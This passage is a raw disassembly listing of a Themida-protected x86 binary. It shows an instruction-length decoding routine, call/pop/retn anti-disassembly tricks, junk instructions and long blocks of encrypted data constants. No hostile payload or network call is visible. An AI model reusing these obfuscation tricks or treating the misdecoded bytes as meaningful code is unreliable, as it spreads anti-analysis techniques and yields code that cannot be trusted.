		movzx	edi, al
		shr	edi, 1
		mov	[esi+ecx], al
		add	edi, 80h
		jmp	loc_5A3A19
; ---------------------------------------------------------------------------


loc_5A3A14:				; CODE XREF: sub_5A390F+E4j
		movzx	edi, al
		shr	edi, 1


loc_5A3A19:				; CODE XREF: sub_5A390F+100j
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 613A423h
		lea	ebp, [ebp+613A0E1h]
		add	ebp, edi
		mov	bl, [ebp+0]
		pop	ebp
		mov	cl, al
		and	cl, 1
		mov	[ebp+var_7], cl
		shl	cl, 2
		shr	bl, cl
		test	bl, 8
		mov	[ebp+var_6], bl
		jz	loc_5A3B9B
		mov	ebx, [ebp+arg_4]
		mov	byte ptr [ebp+arg_0+3],	1
		movzx	ecx, dl
		inc	dl
		mov	bl, [ebx+ecx]
		mov	byte ptr [ebp+arg_C+3],	dl
		mov	dl, bl
		mov	[esi+ecx], bl
		and	dl, 7
		movzx	ecx, bl
		cmp	dl, 4
		setz	[ebp+var_5]
		shr	ecx, 6
		sub	ecx, 0
		jz	loc_5A3ADF
		dec	ecx
		jz	loc_5A3AC2
		dec	ecx
		jnz	loc_5A3B32
		cmp	[ebp+var_2], 0
		jnz	loc_5A3B2E
		cmp	[ebp+var_5], 0
		jz	loc_5A3AA1
		mov	byte ptr [ebp+arg_0+3],	2


loc_5A3AA1:				; CODE XREF: sub_5A390F+188j
		add	byte ptr [ebp+arg_0+3],	4
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 613A4AFh
		mov	[ebp+arg_613A1F9], 1
		pop	ebp
		jmp	loc_5A3B32
; ---------------------------------------------------------------------------


loc_5A3AC2:				; CODE XREF: sub_5A390F+16Dj
		cmp	[ebp+var_2], 0
		jnz	loc_5A3B0C
		cmp	[ebp+var_5], 0
		jz	loc_5A3B0C
		mov	byte ptr [ebp+arg_0+3],	2
		jmp	loc_5A3B0C
; ---------------------------------------------------------------------------


loc_5A3ADF:				; CODE XREF: sub_5A390F+166j
		cmp	[ebp+var_2], 0
		jnz	loc_5A3B25
		cmp	[ebp+var_5], 0
		jz	loc_5A3B14
		movzx	ecx, byte ptr [ebp+arg_C+3]
		mov	edx, [ebp+arg_4]
		mov	cl, [edx+ecx]
		and	cl, 7
		cmp	cl, 5
		jnz	loc_5A3B0C
		mov	byte ptr [ebp+arg_0+3],	cl


loc_5A3B0C:				; CODE XREF: sub_5A390F+1B7j
					; sub_5A390F+1C1j ...
		inc	byte ptr [ebp+arg_0+3]
		jmp	loc_5A3B32
; ---------------------------------------------------------------------------


loc_5A3B14:				; CODE XREF: sub_5A390F+1DEj
		cmp	dl, 5
		jnz	loc_5A3B32
		mov	byte ptr [ebp+arg_0+3],	dl
		jmp	loc_5A3B32
; ---------------------------------------------------------------------------


loc_5A3B25:				; CODE XREF: sub_5A390F+1D4j
		cmp	dl, 6
		jnz	loc_5A3B32


loc_5A3B2E:				; CODE XREF: sub_5A390F+17Ej
		mov	byte ptr [ebp+arg_0+3],	3


loc_5A3B32:				; CODE XREF: sub_5A390F+174j
					; sub_5A390F+1AEj ...
		dec	byte ptr [ebp+arg_0+3]
		jz	loc_5A3B60
		movzx	ecx, byte ptr [ebp+arg_0+3]
		mov	[ebp+arg_0], ecx


loc_5A3B42:				; CODE XREF: sub_5A390F+249j
		movzx	esi, byte ptr [ebp+arg_C+3]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_8]
		inc	byte ptr [ebp+arg_C+3]
		dec	[ebp+arg_0]
		mov	cl, [ecx+esi]
		mov	[edx+esi], cl
		jnz	loc_5A3B42
		mov	esi, edx


loc_5A3B60:				; CODE XREF: sub_5A390F+226j
		and	al, 0FEh
		cmp	al, 0F6h
		jnz	loc_5A3B95
		cmp	edi, 7Fh
		ja	loc_5A3B95
		test	bl, 38h
		jnz	loc_5A3B95
		cmp	[ebp+var_7], 0
		jz	loc_5A3B8F
		movzx	eax, [ebp+var_4]
		jmp	loc_5A3B92
; ---------------------------------------------------------------------------


loc_5A3B8F:				; CODE XREF: sub_5A390F+271j
		push	1
		pop	eax


loc_5A3B92:				; CODE XREF: sub_5A390F+27Bj
		mov	[ebp+var_1], al


loc_5A3B95:				; CODE XREF: sub_5A390F+255j
					; sub_5A390F+25Ej ...
		mov	dl, byte ptr [ebp+arg_C+3]
		mov	bl, [ebp+var_6]


loc_5A3B9B:				; CODE XREF: sub_5A390F+136j
		mov	al, bl
		and	eax, 7
		sub	eax, 4
		jz	loc_5A3BC6
		dec	eax
		dec	eax
		jz	loc_5A3BBC
		and	bl, 7
		add	[ebp+var_1], bl
		jmp	loc_5A3BCE
; ---------------------------------------------------------------------------


loc_5A3BBC:				; CODE XREF: sub_5A390F+29Cj
		mov	al, [ebp+var_3]
		add	al, 6
		jmp	loc_5A3BCB
; ---------------------------------------------------------------------------


loc_5A3BC6:				; CODE XREF: sub_5A390F+294j
		mov	al, [ebp+var_3]
		add	al, 4


loc_5A3BCB:				; CODE XREF: sub_5A390F+2B2j
		add	[ebp+var_1], al


loc_5A3BCE:				; CODE XREF: sub_5A390F+2A8j
		mov	al, [ebp+var_1]
		dec	[ebp+var_1]
		test	al, al
		jz	loc_5A3BF6
		movzx	ecx, [ebp+var_1]
		inc	ecx


loc_5A3BE1:				; CODE XREF: sub_5A390F+2E1j
		mov	edi, [ebp+arg_4]
		movzx	eax, dl
		inc	dl
		dec	ecx
		mov	bl, [edi+eax]
		mov	[esi+eax], bl
		jnz	loc_5A3BE1


loc_5A3BF6:				; CODE XREF: sub_5A390F+2C7j
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		leave
		retn
sub_5A390F	endp

; ---------------------------------------------------------------------------
		lea	eax, [ebp+613A2AEh]
		mov	[ebp+60E2079h],	eax
		lea	ecx, [ebp+613A6DFh]
		push	0
		push	esi
		call	sub_5A3C1A
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A3C1A	proc near		; CODE XREF: Themida_:005A3C12p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_5A3C1A	endp

; ---------------------------------------------------------------------------
		xchg	cl, [edi]
		push	edx
		sub	ch, dl
		mov	word ptr [edi-3A7276ECh], ss
		das
		push	cs
		push	es
		mov	ebx, edx
		mov	dword ptr [ebp+60E0881h], 67F8h
		push	0
		push	eax
		call	sub_5A3C4F
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A3C4F	proc near		; CODE XREF: Themida_:005A3C47p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 17h
		inc	eax
		push	eax
		retn
sub_5A3C4F	endp

; ---------------------------------------------------------------------------
		fisubr	word ptr [ebp+2Ah]
		fisttp	qword ptr [ebx+0E29C195h]
		push	es
		mov	dword ptr [ebp+60E28D9h], 0
		push	0
		push	edi
		call	sub_5A3C7E
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A3C7E	proc near		; CODE XREF: Themida_:005A3C76p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_5A3C7E	endp

; ---------------------------------------------------------------------------
		xchg	eax, edi
		mov	esi, 4564B0C3h
		add	[ebp+60E250Dh],	eax
		push	dword ptr [ebp+60E183Dh]
		mov	[ebp+60E2F79h],	edx
		call	dword ptr [ebp+60E09B9h]
		push	0
		push	ecx
		call	sub_5A3CB7
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A3CB7	proc near		; CODE XREF: Themida_:005A3CAFp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_5A3CB7	endp

; ---------------------------------------------------------------------------
		lodsd
		dec	ebx
		mov	dl, 46h
		xchg	eax, ecx
		test	al, 0FCh
		sub	[ebp+60E2EB1h],	eax
		push	0
		call	dword ptr [ebp+60E0F45h]
		mov	eax, eax
		jmp	short loc_5A3D0F
; ---------------------------------------------------------------------------
		dd 0D6E37482h, 839A1449h, 4D60347Ah, 0F8645880h, 44B92D76h
		dd 15567407h, 0BCE37A70h, 99D02DD7h, 0ADCC3FDh,	551C16A2h
		dd 93553027h
		db 0E6h, 0D2h, 0A7h
; ---------------------------------------------------------------------------


loc_5A3D0F:				; CODE XREF: Themida_:005A3CDEj
		jmp	loc_5A3D22
; ---------------------------------------------------------------------------
		dd 77E31ED4h, 77E7339Ch, 0
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A3D22:				; CODE XREF: Themida_:loc_5A3D0Fj
		jmp	loc_5A4A73
; ---------------------------------------------------------------------------
		push	613A8B5h
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	613A9B1h
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	613AB04h
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	613AC97h
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	613AE19h
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	613B073h
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	613B1F3h
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		push	613B2E2h
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		db 31h
		dd 10AB6F3Ah, 0F48F5314h, 0D77236F9h, 0B95418DDh, 934F8C1h
		dd 69322A5Bh, 4A110AA5h, 30EDEB86h, 15D4D16Ch, 793A0551h
		dd 5D7A171Eh, 0B69B49B2h, 3DEFAB9h, 0B8834706h,	0C463B814h
		dd 0E5899A54h, 2948A73Ch, 4A095E39h, 0F2B3AFEEh, 0C004A877h
		dd 0A59FCC6Bh, 0E5B47FD4h, 32874C46h, 779A7775h, 0FA169161h
		dd 9BA69EFDh, 439456A2h, 431E215h, 3244B6h, 92D60000h
		dd 0AD4C1BA6h, 0BCEC9B4h, 68BD38EFh, 0BF7CDC9Dh, 85546177h
		dd 984045C4h, 782FDA2h,	40AFEEEBh, 8547A298h, 5BF10634h
		dd 0ED35B604h, 0C7000000h, 0DEFAB9B6h, 0C44304D3h, 7C5B69B0h
		dd 11DE4DDh, 3F00CF4Ah,	5B69B0D8h, 0DA8FD78h, 55304C15h
		dd 0A27D9958h, 0B6D192A5h, 0A5B69B0h, 9350148Fh, 5B69B541h
		dd 9C6B2A27h, 4B8D0CCDh, 0CA45A496h, 1D1AB575h,	6837425Eh
		dd 964B60A7h, 1065E0A4h, 0BDAE751h, 8836364Ah, 0AB6FEA9Eh
		dd 0C95011E0h, 89A2986Eh, 3EFAB90Eh, 4310B483h,	985754F0h
		dd 7DAB48F4h, 0D59C5D28h, 6D988B72h, 8C8423F2h,	6C64FFC3h
		dd 47E04DA3h, 64C02286h, 0B09DAh, 0A9746B00h, 8D4E4AE5h
		dd 70332EC9h, 521711ACh, 32FBF38Eh, 6481436Eh, 44DFA36Ch
		dd 25C0844Bh, 0BA66A27h, 3F8B4F0Eh, 1854B374h, 83EC5D7Ah
		dd 0CCBEB6D5h, 32EFD1E3h, 1DEC67CCh, 69BE857Eh,	473FDEA9h
		dd 0DCAB627Eh, 69FBFC1Bh, 84D9545Bh, 4D04ECE9h,	0A87A5917h
		dd 27034AFh, 4C1BA692h,	22E1DE7Dh, 3DFA4F06h, 6177BF1Bh
		dd 131E3AB5h, 41048344h, 41BCA298h, 41EC2FECh, 0C688A298h
		dd 5AB04775h, 0B476B604h, 8000000h, 0FD1B9B6h, 9C1C1B7Dh
		dd 0DFBAD651h, 3B76F5E7h, 0A739657h, 54CF5B69h,	0C18D8CB0h
		dd 0DF2D2A46h, 915B69B9h, 0B88601C2h, 0BF3A5B69h, 13D2CF6Ah
		dd 0F8B7B44Fh, 125BDDDCh, 69B83651h, 940F8A5Bh,	0CA7C04C5h
		dd 29A46177h, 2F92A665h, 0BFC39F60h, 681988Bh, 0D7A09837h
		dd 5AE36408h, 0EACBEFh,	5850EBABh, 0ACC6398Fh, 46A22287h
		dd 0A0DBCh, 0A5706700h,	894A46E1h, 6C2F2AC5h, 4E130DA8h
		dd 2EF7EF8Ah, 60853F6Ah, 40DB9F68h, 21BC8047h, 7A26623h
		dd 3B874B0Ah, 1968AF70h, 7FE85D7Ah, 0F5BEB6D1h,	0ED1F8226h
		dd 0E785B22Bh, 3A37D292h, 0B649B77Bh, 1AD9D6B9h, 97961EFEh
		dd 3FD80AA2h, 522D49C4h, 0B5767255h, 0CAB763Ah,	542F4B14h
		dd 0C419945Bh, 0BF8E3305h, 396021F0h, 995B69E7h, 100CC91Eh
		dd 0D06177EAh, 59523331h, 809C1792h, 9BFA0183h,	0C819DBA2h
		dd 3FE5D9Ah, 6BAC9B6h, 925B0000h, 8B4C1BA6h, 6177BF45h
		dd 0D9E4007Bh, 5E7A413Ah, 769552A7h, 0EEA29840h, 4AADDB2Ch
		dd 0DCB60458h, 694h, 0B2797211h, 0A692EF5Dh, 25A84C1Bh
		dd 0F7AD313Ch, 0C74ACD8Eh, 8B065B69h, 2FF0BB10h, 6177C871h
		dd 5B5874EFh, 0A29BD838h, 73A1F2B4h, 0B603E084h, 65FA2h
		dd 77DC3400h, 0EDDE454h, 77DFBF4Dh, 0E2DA7961h,	0FA059E19h
		dd 612F6A2Bh, 66C6A298h, 0A77A7244h, 186DE8AFh,	8FFC115Bh
		dd 3C85B31Eh, 0ECF9E6Dh, 36B24C8Bh, 0BA77CC47h,	0CAC364Eh
		dd 6C6B8702h, 6526F5CCh, 6BA09CBh, 0CAB7AF5h, 0C18C500Fh
		dd 4A662522h, 0A6A33E93h, 8904C9C3h, 0D960F233h, 0AC3692B0h
		dd 8BAh, 34F8C3BAh, 18DC9D99h, 0FBBF827Dh, 0DDA16660h
		dd 0BD814A42h, 0BBB3D292h, 9A932EF2h, 76740FD3h, 5D5AF5B9h
		dd 0C38EDA9Eh, 7A1B8702h, 24D23B5Dh, 0DEFAB9B6h, 996859DFh
		dd 7D57C9D8h, 0BA7EF961h, 85E9CEFDh, 0B88756A2h, 85E990F7h
		dd 949130A2h, 8702B9D5h, 2D2A0532h, 6F8B504Ah, 0B7D39C94h
		dd 3B0A8500h, 0C3DFA09Ch, 7F6473E3h, 47FF74Ah, 0B30EFAFh
		dd 6DA89A92h, 0DB2D79F6h, 14CBE762h, 322BCA99h,	8A4B166Bh
		dd 0A285EA07h, 492440BBh, 1ABE8D4Ch, 0C71FAB13h, 8C53D341h
		dd 4F4B1A5Fh, 2BF7FD4h,	0A2857AF3h, 0D89C5957h,	6581403Dh
		dd 856A2568h, 8423F2A2h, 0DFA8A08Bh, 3C914864h,	52F66DBEh
		dd 49988B8Ch, 0F0D1555Ah, 0DB176206h, 5F5CF74Ch, 3BC22F77h
		dd 1FBE5389h, 8D446025h, 0B4834E12h, 856294F3h,	9C5D2CA2h
		dd 0A285627Dh, 8ADF5AD5h, 1733F2EFh, 8512FB1Ah,	0EF40FEA2h
		dd 72ED478h, 73A73E3Ah,	0C217D8D4h, 9C6B2A27h, 968D0CCDh
		dd 756DA285h, 12D990ACh, 8007C897h, 40A28596h, 66B070C5h
		dd 127h, 0D83EF397h, 4B703F4Ah,	0EA8E0159h, 0E3DC4DCBh
		dd 0DE4CA11Ch, 2BFAB9B6h, 30CF908Ch, 51D7235h, 536F2C2Ah
		dd 0DB10A448h, 5C937B1Ch, 69A27C9Bh, 0DE59D45Bh, 0A24DCC89h
		dd 302D5B69h, 0E2565571h, 797110DFh, 0A27C9B5Ch, 59D45B69h
		dd 7E473FDEh, 8B56AB62h, 7D4537CAh, 1A70EB61h, 288AADF3h
		dd 2789136Fh, 4D000007h, 2CC78B56h, 10AB6F30h, 0F38E5215h
		dd 0D57034F9h, 255014DDh, 854E46BFh, 662D26C1h,	4C0907A2h
		dd 31F0ED88h, 9556216Dh, 5D7A1C72h, 0B6B765CEh,	3DEFAB9h
		dd 0E37E420Bh, 0C96428E5h, 0AE490DCCh, 0C6D1EDB6h, 4D692C27h
		dd 4249F296h, 0F12FBC55h, 1C09019Ch, 0C0470823h, 805B691Fh
		dd 936E8A05h, 8857D29Bh, 691F40C7h, 0A85005Bh, 2A7BF9EEh
		dd 5E22EBE3h, 2B7EF93h,	82D94DC3h, 0F44CAB2Dh, 7DAAFF5h
		dd 6C000000h, 8F07h, 0B9B69500h, 0A2E1DEFAh, 0C55B69C0h
		dd 726FB607h, 5654EFB3h, 0F026CA99h, 7F5AFC15h,	25223A8Fh
		dd 0A4964EE7h, 0A8EF4002h, 7F1EEDAAh, 0EDA4C085h, 0B66AD898h
		dd 0D4DFFBB8h, 0B0C54405h, 27D5B69h, 0B0177233h, 30AB5B69h
		dd 854240DBh, 0AA97469h, 772E4A11h, 0C53A422h, 6E332D0Eh
		dd 70C964CAh, 39B4907Fh, 0BFDA9B6Ah, 135B69BFh,	39B47B74h
		dd 0D96724E4h, 2A5B69B7h, 0B79E6592h, 0EB71EC76h, 0AFF5520Dh
		dd 0FFFE9719h, 4907ABFFh, 95000003h, 29ECE786h,	7D3C39D4h
		dd 0B0516461h, 4AC85B69h, 0F6B5B2F9h, 0CA8D8827h, 1D1AB575h
		dd 9837425Eh, 7BEDA9Dh,	0B0107738h, 35B05B69h, 0B09023E0h
		dd 7B785B69h, 97A1A0BCh, 79A5B2Ah, 0BB617D57h, 3D5C1DECh
		dd 95A285E9h, 0E93E591Ah, 0F392A285h, 5F1632FBh, 854C45E4h
		dd 9F9FB40Ah, 0A3FF288Ah, 5A519h, 0DD8CF00h, 0F1B2AE49h
		dd 0D497922Dh, 0B67B7510h, 965F57F2h, 0C83DA7D2h, 0A84307D0h
		dd 8924E8AFh, 6F0ACE8Bh, 0A3EFB372h, 1EF017D8h,	0E7505D7Ah
		dd 0FAB9B639h, 420B03DEh, 3E6E37Eh, 0A8A54409h,	9B16CDE9h
		dd 89B228CCh, 517A1CBEh, 9DF2B9B2h, 814A42DDh, 0C9928A65h
		dd 11DAD2ADh, 5F1C1AF5h, 7FD04E43h, 9AAF8E33h, 0FE793644h
		dd 0FF76C745h, 4359375Bh, 55AAB675h, 35F9C2BAh,	0F61344B3h
		dd 25EE2AFh, 92740000h,	0FFFC18A9h, 5A58AF8Eh, 2957A86Ah
		dd 0AEE546CEh, 0FEBDBA59h, 0AD62BE2h, 240h, 0E2A5A03Fh
		dd 0A9921F8Dh, 1884918h, 0C15B69B0h, 0ACD37746h, 4DCC8D38h
		dd 55B6908h, 0B017E68Ah, 0E2DFF74Ch, 5A5880B1h,	0C3A8B4Dh
		dd 0AEE517EBh, 20B3Bh, 0B786CD00h, 97E38B13h, 0DC9DD768h
		dd 5B69E6BDh, 86459A15h, 7C3D0CB5h, 5B69E611h, 0C86736B1h
		dd 0A0B80DCAh, 58F972A3h, 0FB4C0E5Ah, 0E4F12ACDh, 6D2EFDAEh
		dd 5A78FF2Ah, 0AD62BA6h, 1CCh, 0F7E2869Ch, 396103EFh, 0B9824196h
		dd 19783908h, 0A95B6908h, 2E4A110Ah, 0E3E0FC77h, 5A5817B2h
		dd 0C43B8C4Eh, 226526F5h, 9E5A7809h, 9276223h, 209B5A78h
		dd 9099051h, 4EC95A78h,	8F8077F9h, 85A6AEE4h, 38000001h
		dd 0DEFAB9B6h
		dd 83470603h, 7E4D74C4h, 77BE3FBDh, 8F5ED961h, 602921C0h
		dd 9842789Fh, 85DD8A2h,	5516E5F0h, 0A2984232h, 34FBB8B6h
		dd 64A764B9h, 0A29842h,	0D776ED3Eh, 45FC18DDh, 56896EF0h
		dd 519DB604h, 0D2000000h, 0E684D52Eh, 520925EEh, 0E9B4D8AEh
		dd 5AAF2AEFh, 1BA692ECh, 0BFCD8B4Ch, 88036177h,	402C6F6Ch
		dd 0DAD4A298h, 251EF915h, 40CE490Ah, 782A298h, 18DA708Ch
		dd 0C08780C7h, 87D89A45h, 45C9E59h, 5E589B6h, 983F114Fh
		dd 0A9531F74h, 0E5000000h, 0DEFAB9B6h, 26420B03h, 738F4E4Bh
		dd 18DC9B98h, 69B5095Bh, 4D1BBF5Bh, 9E655E1Ch, 0D627CB82h
		dd 27EEE789h, 84D9540Bh, 5E2DECE9h, 0E0DAC7BFh,	8B4BA01Bh
		dd 86556CCCh, 855F7FC5h, 8E8A299Eh, 0E48352CDh,	855423ECh
		dd 87D345C4h, 6A2725A2h, 13D328A3h, 61B78078h, 2888A546h
		dd 4BBC46A2h, 29000003h, 8A36732h, 0EC874B0Ch, 0CF6A2EF1h
		dd 0B14C10D5h, 12CF0B9h, 612A2243h, 4209029Dh, 28E5E37Eh
		dd 0DCCC964h, 7132FD49h, 5D7A0016h, 0B69341AAh,	6631F5BEh
		dd 0EA06CFC7h, 3652130Fh, 14AF047Fh, 26945817h,	27EEE786h
		dd 64FF540Bh, 0B18CA867h, 0E1C2CCB4h, 652730CEh, 2B6926EAh
		dd 0A95B6916h, 0BF63328Fh, 0DDB389A7h, 0F2BD1206h, 77365731h
		dd 0F13DE161h, 2C01FDE9h, 0A31EE136h, 0C54405D4h, 7DA29B1Bh
		dd 7FEDAD02h, 2BFAB9B6h, 0D286C687h, 0EC41350Ch, 19FCF9D4h
		dd 1ADE5920h, 15E4DD5Bh, 770A5054h, 26F57061h, 75CA8B87h
		dd 153D605Dh, 0F7B9A29Bh, 98902FA6h, 0FFF87ACFh, 27B603A2h
		dd 29h,	1BA692B9h, 0BFCD8B4Ch, 88036177h, 0EBD616Ch, 0CACD1AECh
		dd 0ADF0AD02h, 49A298FAh, 0EF083687h, 37B60501h, 0DBh
		dd 0FAB9B6C9h, 420B03DEh, 0A4E3A473h, 445B69B0h, 47C28946h
		dd 2FFDAF2h, 4F4C2743h,	3201CC90h, 0B067A263h, 60DB5B69h
		dd 69B0789Fh, 0BE5DD85Bh, 0EEAB00C3h, 5B69B59Eh, 339D8582h
		dd 8BD33F18h, 2EC98D08h, 4B567231h, 0BB5CBB7Ch,	79F4A496h
		dd 0EED36524h, 0CEFA5E1Fh, 5BD69E88h, 6160D897h, 0AC85D192h
		dd 8F33988Ah, 5D282D1Ch, 948C6974h, 77911DC1h, 952122C6h
		dd 0E568B02Dh, 8352CD90h, 5F23ECE4h, 0AD03CCC4h, 22862E8Ch
		dd 0CBFE88E4h, 0A9000001h, 8823E7B2h, 6C07CB8Ch, 4FEAAE71h
		dd 31CC9055h, 81AC7039h, 0E1AAA2C3h, 0C289821Dh, 0A86563FEh
		dd 8D4C49E4h, 0F1B27DC9h, 5D7A0196h, 8613C12Ah,	0B093F6B7h
		dd 902F5B69h, 0FDB4D097h, 9A922D82h, 75720DD1h,	9284F2B6h
		dd 8B4C1BA6h, 6177BFCDh, 6F6C8803h, 0A298402Ch,	3EB506C8h
		dd 8DE2A39Fh, 45BEC0Bh,	0CC3AB6h, 0CB6F0000h, 223A4A2Eh
		dd 9402578Bh, 0DDD6B9B6h, 0C843FA16h, 0ECD9D1ACh, 96B22DF2h
		dd 9CFBBC8Bh, 345B69B0h, 55A764B9h, 3B5B69B5h, 11B07F3Eh
		dd 3BFB5019h, 15D4D170h, 52ED42F9h, 7B7A9655h, 663504BDh
		dd 0ED09CCC7h, 2424E136h, 9C9E883Eh, 568D0CCDh,	0CA45A298h
		dd 0E7E1804Fh, 0C8858322h, 0E0A0F5ACh, 0DBAA1721h, 8BB36F1Ah
		dd 9968E398h, 171502FAh, 801BDF5Ah, 4A69BF88h, 96228787h
		dd 0DCB03Ah, 0A1980000h, 7B7712D6h, 605BF6BAh, 443ED99Dh
		dd 2820BB7Fh, 0F4709B5Fh, 0CD09991h, 0EDB17871h, 0D3975452h
		dd 0B87C3B38h, 0B9E0A16Ch, 195D7A02h, 0BEB602B0h, 965726F5h
		dd 5B69B073h, 203CF9F7h, 0D227A269h, 0BB7A7712h, 0B9B689F7h
		dd 603DEFAh, 74C48347h,	0B1DA7E4Dh, 4EB5BD62h, 0FBCA95EAh
		dd 49B43D57h, 88DDC7A8h, 7D1030CBh, 5819E861h, 0A2851031h
		dd 0FEC11691h, 29A4615Fh, 6563020Dh, 0B6B18CA8h, 882378F3h
		dd 6D08CC8Bh, 7D9C5D70h, 0D5A28510h, 0C6C3DF5Ah, 34B6FAE3h
		dd 5B59FD0Ch, 7B26780h,	0C31492E7h, 0FCC07F7Ch,	89A56461h
		dd 0D3EFB4AEh, 0D5CD6C77h, 0E439F00Ch, 0D1CE1566h, 379AFDBEh
		dd 6736DC92h, 923763A6h, 0E964DFDCh, 120FAA6Eh,	3AD3753h
		dd 3B000000h, 0BFB68133h, 0FDD8F4h, 4C4A2541h, 9F98738Fh
		dd 0E9E1BCD8h, 31290420h, 77714C68h, 0C0BB96B2h, 0A06E1FDh
		dd 57692D49h, 0C781E789h, 4, 4BA52h, 0D7290000h, 243C875Ah
		dd 0E689565Ch, 4C681h, 0EE810000h, 4, 5C243487h, 68240C89h
		dd 6C87h, 52243489h, 13A77BBAh,	8BD18906h, 0C4812414h
		dd 4, 70DC68h, 24248900h, 4240481h, 5E000000h, 9BBB5351h
		dd 2932D879h, 5B04245Ch, 8108468Fh, 799B0846h, 348B32D8h
		dd 0E3895324h, 4C381h, 0C3830000h, 241C8704h, 2434FF5Ch
		dd 4C48159h, 0E9000000h, 0FFFACA30h, 0CDE1F487h
; ---------------------------------------------------------------------------
		test	al, 28h
		stosd


loc_5A4A73:				; CODE XREF: Themida_:loc_5A3D22j
		mov	eax, 613B3E3h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 444D2B59h, 0CE311B5h, 52332F17h, 24EE6876h, 2D4A8952h
		dd 411646A9h, 4DB0195h,	296B32EAh, 78F42C9Bh, 6E6AA80h
		dd 52271FA6h, 512A016Ah, 5E8h, 165E4800h, 23B22EE0h, 10E95Fh
		dd 2BFA0000h, 0C23B9FE4h, 60A2E4D0h, 757AAA2Bh,	0C781E781h
		dd 5CB8h, 0F068CE8Ah, 0E8000016h, 5, 77B7D1B4h,	0CE8B66A5h
		dd 8BF8585Ah, 796B937h,	0EE812987h, 6967B194h, 0D3C3A3BAh
		dd 81EE8106h, 0F47ACF4h, 383h, 0D98B6600h, 0C10C681h, 52B54728h
		dd 8880F56h, 0F000000h,	283h, 8F616000h, 9E95007h, 0A0000000h
		dd 9A1E7D94h, 91BBB555h, 4EF8359h, 0AE860h, 60800000h
		dd 98A706D9h, 90229DFCh, 0CBCD35BAh, 0AE85A3Ch,	5000000h
		dd 0CC1ED797h, 0AEA485B9h, 81BB663Bh, 83615FDBh, 850F01E8h
		dd 14h,	2800Fh,	0DC8A0000h, 34E9h, 2EE7ED00h, 368CBE25h
		dd 6870F60h, 81000000h,	4FF9EDE9h, 77D98168h, 61156F28h
		dd 0FFFF52E9h, 734CC2FFh, 9A69D8C2h, 6FF5C946h,	0ACEE16B4h
		dd 4952D6FAh, 0FC08BC8h, 1683h,	11E900h, 14BF0000h, 0B2733CE0h
		dd 0A77263BEh, 0E12F17C4h, 83DC3476h, 0E0E21BDh, 9750006h
		dd 0FC5BD83h, 7400060Eh, 8B535019h, 3FCB8C0h, 85890000h
		dd 60E1D9Dh, 0A86C9D8Dh, 0D3FF0610h, 0BD83585Bh, 60E0FC5h
		dd 50177400h, 3FCB853h,	85890000h, 60E1D9Dh, 0A55B9D8Dh
		dd 0D3FF0610h, 6A585Bh,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 488483C3h, 0ABB0DB52h, 860F06A8h
		dd 14h,	0E8E0Fh, 8E80000h, 13000000h, 6078D046h, 5AB63761h
		dd 0BD0CD381h, 0C08B353Ah, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 18h, 0F3C35747h, 0E28AEF54h, 79BD83F9h, 1060E0Dh
		dd 0A5840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 343A48C3h, 9118F4A0h, 0DFB46056h
		dd 6D52EA81h, 5B615FE5h, 4493F381h, 0BD832306h,	60E2FFDh
		dd 64850F00h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 33D6C351h, 0D3810AD7h
		dd 557118F1h, 0A64BC281h, 8166794Dh, 8394B3CBh,	0E0935BDh
		dd 840F0006h, 5Fh, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 19h, 5BC35040h, 0FE91A466h, 830FBFh, 0E9000000h
		dd 3DDh, 0E851006Ah, 3,	59C35920h, 4244C89h, 4244481h
		dd 1Dh,	0E5C35141h, 1E9A51E3h, 40D8C399h, 8EF28052h, 0
		dd 8B66DA8Bh, 99AEB3DEh, 19760B5Dh, 172A26EEh, 0FDEEECCh
		dd 5086F46Dh, 5F9AF0EEh, 50D24F38h, 0FEA7E8h, 7A53DBB0h
		dd 82D650AAh, 15425FEFh, 9832C92Dh, 474EA831h, 0AFC1A7E8h
		dd 50C1A765h, 3128FCE8h, 0ECC1A7EDh, 0AC14FBDh,	849CA7E8h
		dd 91761505h, 13C1CDEEh, 0A0C1A400h, 939B87E8h,	0C952EB2h
		dd 308526ECh, 0AC1B0ECh, 0C693E5E8h, 0A5A0D70Ah, 41CB4EB8h
		dd 40E6A7E8h, 0B678B821h, 74D3F400h, 47C1CDB3h,	0AC1A400h
		dd 0C69A87E8h, 0A69D2EB3h, 658526ECh, 0A0C1BAECh, 9392E4E8h
		dd 9922A95h, 0F075D2D7h, 0D1408B7Eh, 5B733F15h,	82AB6763h
		dd 41C24FBDh, 0FDE1A7E8h, 3C48FA2Bh, 6C40A3CCh,	14DBA3CCh
